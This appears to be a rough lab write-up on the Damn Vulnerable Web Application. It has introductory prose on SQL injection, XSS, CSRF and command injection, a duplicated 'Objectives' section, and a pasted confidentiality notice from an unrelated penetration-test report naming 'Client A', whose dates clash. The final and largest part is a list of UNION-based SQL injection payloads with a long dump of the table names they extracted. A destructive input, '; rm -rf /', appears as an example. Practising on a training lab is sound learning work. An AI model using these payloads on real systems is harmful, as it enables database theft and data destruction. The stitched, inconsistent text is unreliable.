Damm Vulnerable Web Application

System Information
System name – Dell Inspiron 15 5501
Processor - Intel(R) Core (TM) i7-1065G7 CPU @ 1.30GHz 1.50 GHz
Ram – 24 GB
Storage – 1 TB
Window 10/11

Index of DVWA
1 Introduction to Damn Vulnerable Web Application (DVWA)
Overview
Purpose and Goals
The goals of DVWA are
Key Features of DVWA
Setting Up DVWA
Vulnerabilities in DVWA
SQL Injection
Cross Site Scripting (XSS)
Cross Site Request Forgery (CSRF)
Command Injection
Ethical Considerations
2 Objectives of Damn Vulnerable Web Application (DVWA)

Introduction to Damn Vulnerable Web Application (DVWA)

Overview
The Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web platform
intentionally designed to have vulnerabilities. Its purpose is to assist security experts and
enthusiasts in gaining knowledge, about web application security within a setting. DVWA
serves as a resource for individuals seeking to enhance their proficiency in aspects of web
security such, as SQL injection Cross Site Scripting (XSS) Cross Site Request Forgery
(CSRF) and Command Injection.

Purpose and Goals

The main goal of DVWA is to offer an authorized space, for testing web vulnerabilities. Users
can utilize the application to delve into these vulnerabilities grasp their significance and
acquire knowledge on how to safeguard against them. This is important, as comprehending
the workings of attacks is an aspect of mastering prevention techniques.

The goals of DVWA are

In today’s age web applications play a role, in various aspects of our lives such as online
banking and social media. However, these applications are frequently targeted by individuals
because of the data they deal with. Understanding web security is crucial, for a variety of
purposes:

Safeguarding Confidential Data: It is crucial to ensure the security of details, financial

records and confidential business information to prevent entry.
Maintaining Trust: Users need to trust that their data is safe. Security breaches can lead to
loss of user trust and reputation damage.
Legal Compliance: Many industries have regulations requiring a certain level of security.
Non-compliance can result in hefty fines and legal consequences.
Preventing Financial Losses: Security breaches can lead to significant financial losses due to
theft, fraud, and remediation costs.

Key Features of DVWA

DVWA offers several features that make it an excellent tool for learning and practicing web
security:

Multiple Security Levels: DVWA has different security levels (low, medium, high, and
impossible) which allow users to test vulnerabilities in various scenarios and understand how
security measures can mitigate risks.
Wide Range of Vulnerabilities: The application includes a variety of common vulnerabilities
such as SQL Injection, XSS, CSRF, Command Injection, File Inclusion, and more.
Detailed Documentation: DVWA provides extensive documentation and guides to help users
understand the vulnerabilities and how to exploit them.
Community Support: Being open-source, DVWA has a vibrant community of users and
developers who contribute to its development and provide support.

Setting Up DVWA
Setting up DVWA is straightforward. The application requires a server environment with PHP
and MySQL. Here is a step-by-step guide to setting it up:

Install a Server Environment: Install a web server such as Apache, along with PHP and
MySQL. Tools like XAMPP or WAMP make this process easy by bundling these components
together.
Download DVWA: Download the latest version of DVWA from its official repository on
GitHub.
Configure DVWA: Extract the downloaded files into the web server's root directory. Modify
the config/config.inc.php file to set up the database connection.
Create Database: Create a MySQL database for DVWA. You can use the SQL script provided
in the DVWA setup folder to create the necessary tables.
Set Permissions: Ensure that the config directory and hackable/uploads directory are writable
by the web server.
Access DVWA: Open a web browser and navigate to http://localhost/dvwa. Follow the on-
screen instructions to complete the setup.

Vulnerabilities in DVWA
DVWA includes several types of vulnerabilities, each designed to teach different aspects of web
security. Here are some of the key vulnerabilities:
SQL Injection

SQL Injection is one of the most common and dangerous web vulnerabilities. It occurs when
an attacker can inject malicious SQL code into a query, potentially allowing them to access,
modify, or delete database data.

Example:
SELECT * FROM users WHERE username = '$username' AND password = '$password';

If the inputs are not properly sanitized, an attacker could input something like:

' OR '1'='1

This would cause the query to always return true, potentially granting unauthorized access.

Cross Site Scripting (XSS)

XSS occurs when an attacker injects malicious scripts into web pages viewed by other users.
These scripts can steal cookies, session tokens, or other sensitive information.

Example:
<input type="text" name="comment">

If the input is not properly sanitized, an attacker could input:

<script>alert('XSS’) ;</script>

This would execute the script in the context of the user's browser.
Cross Site Request Forgery (CSRF)

CSRF attacks occur when a malicious site tricks a user's browser into performing actions on
another site where the user is authenticated.

Example:
<img src="http://victim.com/delete_account?id=123">
If the user is logged into victim.com, their browser would send the request to delete the
account.

Command Injection

Command Injection allows an attacker to execute arbitrary commands on the host operating
system via a vulnerable application.

Example:
$cmd = $_GET['cmd'];
system($cmd);
If the input is not sanitized, an attacker could input:
; rm -rf /
This would execute the command to delete all files on the server.

Security Levels in DVWA

DVWA’s security levels allow users to see how different security measures can affect the
exploitation of vulnerabilities. The levels are:

Low: No security measures are in place. This level is designed to be easily exploitable and
demonstrates the vulnerabilities in their most basic form.
Medium: Some basic security measures are implemented. This level is designed to show how
simple mitigations can reduce risk.
High: Stronger security measures are in place. This level requires more advanced exploitation
techniques.
Impossible: This level is designed to be secure against the vulnerability being tested. It
demonstrates best practices and effective security controls.
Using DVWA for Learning and Practice
DVWA is an excellent tool for both individual learning and structured educational programs.
Here are some ways to use DVWA effectively:

Self-Paced Learning: Users can go through the vulnerabilities at their own pace,
experimenting with different security levels and learning how to exploit and mitigate each
vulnerability.
Classroom Training: Instructors can use DVWA in a classroom setting to provide hands-on
experience with web security concepts. It can be used to demonstrate vulnerabilities, teach
exploitation techniques, and show how to implement security measures.
Capture The Flag (CTF) Competitions: DVWA can be used in CTF competitions to create
realistic web security challenges for participants to solve.
Security Awareness: Organizations can use DVWA to train developers and other staff on web
security issues, helping to raise awareness and improve overall security posture.

Ethical Considerations

While DVWA is a powerful tool for learning and practicing web security, it is important to
use it ethically and responsibly. Here are some key considerations:

Legal Use: Only use DVWA in a controlled environment where you have permission to test
and exploit vulnerabilities. Unauthorized testing on live websites or systems is illegal and
unethical.
Data Sensitivity: Be aware that DVWA is designed for learning and should not be used with
real user data. Ensure that any testing is done in a safe and secure environment.
Responsible Disclosure: If you discover new vulnerabilities in DVWA or other systems,
follow responsible disclosure practices to report them to the appropriate parties.

Objectives of Damn Vulnerable Web Application (DVWA)

Introduction
The Damn Vulnerable Web Application (DVWA) is a deliberately insecure web application
created for educational purposes. Its primary objective is to serve as a learning platform for
web security, allowing users to practice exploiting common vulnerabilities and to understand
the implications of security flaws in web applications. DVWA is an essential tool for students,
educators, security professionals, and developers who aim to improve their understanding and
skills in web security.

Purpose of DVWA
he fundamental purpose of DVWA is to provide a legal, safe, and controlled environment
where users can explore and practice various web vulnerabilities. It serves multiple
objectives:

Educational Tool: DVWA is designed to teach users about web vulnerabilities and how they
can be exploited.
Skill Development: It helps security professionals and enthusiasts develop and hone their
skills in identifying and mitigating web security issues.
Awareness and Training: It raises awareness among developers about the importance of
secure coding practices and the potential risks associated with insecure code.
Research and Testing: Researchers can use DVWA to study web vulnerabilities and test new
security tools and techniques.
Educational Objectives
1. Understanding Web Vulnerabilities
DVWA aims to educate users about a wide range of web vulnerabilities. By intentionally
incorporating common security flaws, it allows users to see firsthand how these
vulnerabilities manifest in web applications. Some of the key vulnerabilities included in
DVWA are:

SQL Injection: Demonstrates how attackers can manipulate SQL queries to access
unauthorized data.
Cross-Site Scripting (XSS): Shows how attackers can inject malicious scripts into web pages
viewed by other users.
Cross-Site Request Forgery (CSRF): Highlights how attackers can trick users into performing
actions without their consent.
Command Injection: Illustrates how attackers can execute arbitrary commands on the host
operating system.
File Inclusion: Demonstrates the risks associated with including external files in web
applications.
Brute Force: Shows how attackers can gain access by repeatedly trying different passwords.
By exploring these vulnerabilities, users gain a deep understanding of how they work and
how they can be exploited.

2. Practicing Exploitation Techniques

One of the primary objectives of DVWA is to provide a hands-on learning experience. Users
are encouraged to actively exploit the vulnerabilities present in the application. This practical
approach helps users:

Develop the technical skills required to exploit web vulnerabilities.

Understand the potential impact of security flaws on web applications.
Learn about the tools and techniques used by attackers.
Practicing these techniques in a controlled environment allows users to gain confidence in
their abilities and prepares them for real-world scenarios.

3. Learning Defensive Strategies

While exploiting vulnerabilities is a key aspect of DVWA, learning how to defend against
them is equally important. DVWA includes different security levels (low, medium, high, and
impossible) for each vulnerability, allowing users to see how various security measures can
mitigate risks. This helps users understand:

Best practices for secure coding.

Effective security controls and countermeasures.
The importance of input validation and sanitization.
How to implement security mechanisms to protect web applications.
By experimenting with different security levels, users can see the direct impact of defensive
strategies on the exploitation of vulnerabilities.

Practical Applications
1. Training Security Professionals
DVWA is widely used for training security professionals, including penetration testers,
security analysts, and ethical hackers. The application provides a realistic environment for
practicing and refining skills. Training with DVWA helps security professionals:

Stay updated with the latest exploitation techniques.

Prepare for certification exams such as CEH (Certified Ethical Hacker) and OSCP (Offensive
Security Certified Professional).
Gain hands-on experience with common web vulnerabilities.

2. Enhancing Developer Awareness

One of the critical objectives of DVWA is to raise awareness among developers about web
security. Many security issues arise due to a lack of awareness and understanding of secure
coding practices. DVWA helps developers:
Understand the consequences of insecure code.
Learn how to identify and fix security vulnerabilities in their code.
Adopt a security-first mindset during the development process.
By experiencing the exploitation of vulnerabilities, developers can appreciate the importance
of security and take proactive measures to protect their applications.

Objectives of Damn Vulnerable Web Application (DVWA)

Introduction
The Damn Vulnerable Web Application (DVWA) is a deliberately insecure web application
created for educational purposes. Its primary objective is to serve as a learning platform for
web security, allowing users to practice exploiting common vulnerabilities and to understand
the implications of security flaws in web applications. DVWA is an essential tool for students,
educators, security professionals, and developers who aim to improve their understanding and
skills in web security.

Purpose of DVWA
The fundamental purpose of DVWA is to provide a legal, safe, and controlled environment
where users can explore and practice various web vulnerabilities. It serves multiple
objectives:

Educational Tool: DVWA is designed to teach users about web vulnerabilities and how they
can be exploited.
Skill Development: It helps security professionals and enthusiasts develop and hone their
skills in identifying and mitigating web security issues.
Awareness and Training: It raises awareness among developers about the importance of
secure coding practices and the potential risks associated with insecure code.
Research and Testing: Researchers can use DVWA to study web vulnerabilities and test new
security tools and techniques.

Educational Objectives
1. Understanding Web Vulnerabilities

DVWA aims to educate users about a wide range of web vulnerabilities. By intentionally
incorporating common security flaws, it allows users to see firsthand how these
vulnerabilities manifest in web applications. Some of the key vulnerabilities included in
DVWA are:

SQL Injection: Demonstrates how attackers can manipulate SQL queries to access
unauthorized data.
Cross-Site Scripting (XSS): Shows how attackers can inject malicious scripts into web pages
viewed by other users.
Cross-Site Request Forgery (CSRF): Highlights how attackers can trick users into performing
actions without their consent.
Command Injection: Illustrates how attackers can execute arbitrary commands on the host
operating system.
File Inclusion: Demonstrates the risks associated with including external files in web
applications.
Brute Force: Shows how attackers can gain access by repeatedly trying different passwords.
By exploring these vulnerabilities, users gain a deep understanding of how they work and
how they can be exploited.

2. Practicing Exploitation Techniques

One of the primary objectives of DVWA is to provide a hands-on learning experience. Users
are encouraged to actively exploit the vulnerabilities present in the application. This practical
approach helps users:

Develop the technical skills required to exploit web vulnerabilities.

Understand the potential impact of security flaws on web applications.
Learn about the tools and techniques used by attackers.
Practicing these techniques in a controlled environment allows users to gain confidence in
their abilities and prepares them for real-world scenarios.

3. Learning Defensive Strategies

While exploiting vulnerabilities is a key aspect of DVWA, learning how to defend against
them is equally important. DVWA includes different security levels (low, medium, high, and
impossible) for each vulnerability, allowing users to see how various security measures can
mitigate risks. This helps users understand:

Best practices for secure coding.

Effective security controls and countermeasures.
The importance of input validation and sanitization.
How to implement security mechanisms to protect web applications.
By experimenting with different security levels, users can see the direct impact of defensive
strategies on the exploitation of vulnerabilities.

Practical Applications
1. Training Security Professionals
DVWA is widely used for training security professionals, including penetration testers,
security analysts, and ethical hackers. The application provides a realistic environment for
practicing and refining skills. Training with DVWA helps security professionals:

Stay updated with the latest exploitation techniques.

Prepare for certification exams such as CEH (Certified Ethical Hacker) and OSCP (Offensive
Security Certified Professional).
Gain hands-on experience with common web vulnerabilities.

2. Enhancing Developer Awareness

One of the critical objectives of DVWA is to raise awareness among developers about web
security. Many security issues arise due to a lack of awareness and understanding of secure
coding practices. DVWA helps developers:

Understand the consequences of insecure code.

Learn how to identify and fix security vulnerabilities in their code.
Adopt a security-first mindset during the development process.
By experiencing the exploitation of vulnerabilities, developers can appreciate the importance
of security and take proactive measures to protect their applications.

CONFIDENTIALITY & PROPRIETARY

This document contains information that is confidential and proprietary, which shall not be
disclosed outside Client A, transmitted, or duplicated, used in whole or in part for any
purpose other than its intended purpose. Any use or disclosure in whole or in part of this
information without explicit written permission of Client A is prohibited. Cybereason makes
no warranty that the information contained in this document is complete or error free.
 This report is solely for the information of Client A and Client A management and
should not be used, circulated, quoted or otherwise referred to for any other purpose,
 nor included or referred to in whole or in part in any document without our prior
written consent.
 The specific IP addresses / Domain were identified by Client A. Our subsequent test
work, study of issues in detail and developing action plans are directed towards the
issues identified. Consequently, this report may not necessarily comment on all the
weaknesses perceived as important by the Client A and / or Client A management.

REPORT ANALYSIS

 The issues identified and proposed action plans in this report are based on our testing.
We made specific efforts to verify the accuracy and authenticity of the information
gathered only in those cases where it was felt necessary.
 The identification of the issues in the report is mainly based on the tests carried out
during the limited time for conducting such an exercise. As the basis of selecting the
most appropriate weaknesses / vulnerabilities is purely judgmental in view of the time
available, the outcome of the analysis may not be exhaustive and representing all
possibilities, though we have taken reasonable care to cover the major eventualities.
 The vulnerabilities reported in this reported are valid as of Jan 1, 2021. Any
vulnerability, which may have been discovered after this or any exploit been made
available after May 9, 2020, does not come under the purview of this report.
 Any configuration changes or software/hardware updates made on hosts/machines on
the application covered in this test after the date mentioned herein may impact the
security posture either positively or negatively and hence invalidates the claims &
observations in this report. Whenever there is an update on the application, we
recommend that you conduct penetration test to ensure that your security posture is
compliant with your security policies.
1 open admin panel

2 dvwa security (low)

3 SQL injection

4 user ID (1)

5 %.0' or '0' = '0

6 %' or 0=0 union select null, version () #

7 %' or 0=0 union select null, user () #

8 %' or 0=0 union select null, database() #

9 %' and 1=0 union select null, table_name from information_schema.tables #

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: CHARACTER_SETS

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: COLLATIONS

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: COLLATION_CHARACTER_SET_APPLICABILITY

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: COLUMNS

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: COLUMN_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: ENGINES

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: EVENTS

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: FILES

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: GLOBAL_STATUS
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: GLOBAL_VARIABLES

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: KEY_COLUMN_USAGE

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: OPTIMIZER_TRACE

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: PARAMETERS

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: PARTITIONS

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: PLUGINS

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: PROCESSLIST

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: PROFILING

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: REFERENTIAL_CONSTRAINTS
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: ROUTINES

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: SCHEMATA

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: SCHEMA_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: SESSION_STATUS

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: SESSION_VARIABLES

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: STATISTICS

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: TABLES

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: TABLESPACES

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: TABLE_CONSTRAINTS
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: TABLE_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: TRIGGERS

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: USER_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: VIEWS

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_LOCKS

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_TRX

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_SYS_DATAFILES

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_FT_CONFIG

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_SYS_VIRTUAL
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_CMP

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_FT_BEING_DELETED

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_CMP_RESET

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_CMP_PER_INDEX

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_CMPMEM_RESET

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_FT_DELETED

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_BUFFER_PAGE_LRU

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_LOCK_WAITS

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_TEMP_TABLE_INFO
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_SYS_INDEXES

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_SYS_TABLES

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_SYS_FIELDS

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_CMP_PER_INDEX_RESET

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_BUFFER_PAGE

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_FT_DEFAULT_STOPWORD

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_FT_INDEX_TABLE

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_FT_INDEX_CACHE

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_SYS_TABLESPACES
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_METRICS

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_SYS_FOREIGN_COLS

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_CMPMEM

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_BUFFER_POOL_STATS

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_SYS_COLUMNS

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_SYS_FOREIGN

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: INNODB_SYS_TABLESTATS

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: guestbook

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: users
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: columns_priv

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: db

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: engine_cost

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: event

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: func

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: general_log

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: gtid_executed

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: help_category

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: help_keyword
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: help_relation

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: help_topic

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: innodb_index_stats

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: innodb_table_stats

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: ndb_binlog_index

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: plugin

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: proc

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: procs_priv

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: proxies_priv
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: server_cost

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: servers

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: slave_master_info

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: slave_relay_log_info

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: slave_worker_info

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: slow_log

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: tables_priv

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: time_zone

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: time_zone_leap_second
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: time_zone_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: time_zone_transition

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: time_zone_transition_type

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: user

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: accounts

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: cond_instances

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_stages_current

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_stages_history

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_stages_history_long
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_stages_summary_by_account_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_stages_summary_by_host_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_stages_summary_by_thread_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_stages_summary_by_user_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_stages_summary_global_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_statements_current

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_statements_history

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_statements_history_long

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_statements_summary_by_account_by_event_name
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_statements_summary_by_digest

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_statements_summary_by_host_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_statements_summary_by_program

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_statements_summary_by_thread_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_statements_summary_by_user_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_statements_summary_global_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_transactions_current

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_transactions_history

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_transactions_history_long
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_transactions_summary_by_account_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_transactions_summary_by_host_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_transactions_summary_by_thread_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_transactions_summary_by_user_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_transactions_summary_global_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_waits_current

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_waits_history

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_waits_history_long

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_waits_summary_by_account_by_event_name
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_waits_summary_by_host_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_waits_summary_by_instance

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_waits_summary_by_thread_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_waits_summary_by_user_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: events_waits_summary_global_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: file_instances

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: file_summary_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: file_summary_by_instance

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: host_cache
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: hosts

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: memory_summary_by_account_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: memory_summary_by_host_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: memory_summary_by_thread_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: memory_summary_by_user_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: memory_summary_global_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: metadata_locks

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: mutex_instances

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: objects_summary_global_by_type
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: performance_timers

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: prepared_statements_instances

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: replication_applier_configuration

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: replication_applier_status

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: replication_applier_status_by_coordinator

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: replication_applier_status_by_worker

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: replication_connection_configuration

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: replication_connection_status

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: replication_group_member_stats
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: replication_group_members

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: rwlock_instances

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: session_account_connect_attrs

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: session_connect_attrs

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: setup_actors

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: setup_consumers

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: setup_instruments

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: setup_objects

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: setup_timers
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: socket_instances

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: socket_summary_by_event_name

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: socket_summary_by_instance

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: status_by_account

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: status_by_host

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: status_by_thread

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: status_by_user

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: table_handles

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: table_io_waits_summary_by_index_usage
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: table_io_waits_summary_by_table

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: table_lock_waits_summary_by_table

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: threads

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: user_variables_by_thread

